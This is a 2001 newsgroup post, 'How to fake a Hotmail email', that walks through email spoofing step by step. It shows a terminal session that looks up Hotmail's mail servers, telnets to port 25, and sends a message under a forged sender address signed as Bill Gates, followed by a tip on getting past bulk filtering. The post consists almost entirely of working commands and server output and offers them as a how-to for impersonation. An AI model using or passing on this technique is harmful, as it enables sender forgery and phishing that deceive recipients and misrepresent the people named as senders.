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How to fake a Hotmail email




          -*- How to fake a Hotmail email -*-
                   -*- By Vortex -*-


Newsgroup: alt.ph.uk
Posted: 14/04/01 15:11
Posted by: Vortex
Lifted by: The Phinn


[vortex@bluecat vortex]$ host -t MX hotmail.com ns1.hotmail.com
[first, find the mail servers belonging to hotmail]
Using domain server:
Name: ns1.hotmail.com
Address: 216.200.206.140
Aliases:

<snip tons of aliases>
hotmail.com mail is handled (pri=10) by mc1.law5.hotmail.com
<snip tons of aliases>
[vortex@bluecat vortex]$ telnet mc1.law5.hotmail.com 25
[now, telnet to one of them and send some fake e-mail]
Trying 64.4.55.71...
Connected to mc1.law5.hotmail.com.
Escape character is '^]'.
220-HotMail (NO UCE) ESMTP server ready at Sat Apr 14 06:56:13 2001
220 ESMTP spoken here
HELO fakex0r
250 Requested mail action okay, completed
MAIL FROM:********@hotmail.com
250 Requested mail action okay, completed
RCPT TO:*******@*******.com
250 Requested mail action okay, completed
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Subject: Monkeys

Eep, look, monkeys.

--
Bill Gates | Microsoft CEO
. 
250 Requested mail action okay, completed
RSET
250 Reset state
QUIT
221 Service closing transmission channel
Connection closed by foreign host.
[vortex@bluecat vortex]$        
[sorted...]

The mail arrived a few minutes later - but was moved to the "Bulk
Mail" folder, presumably because I forgot to add a "From: " header...

-- 
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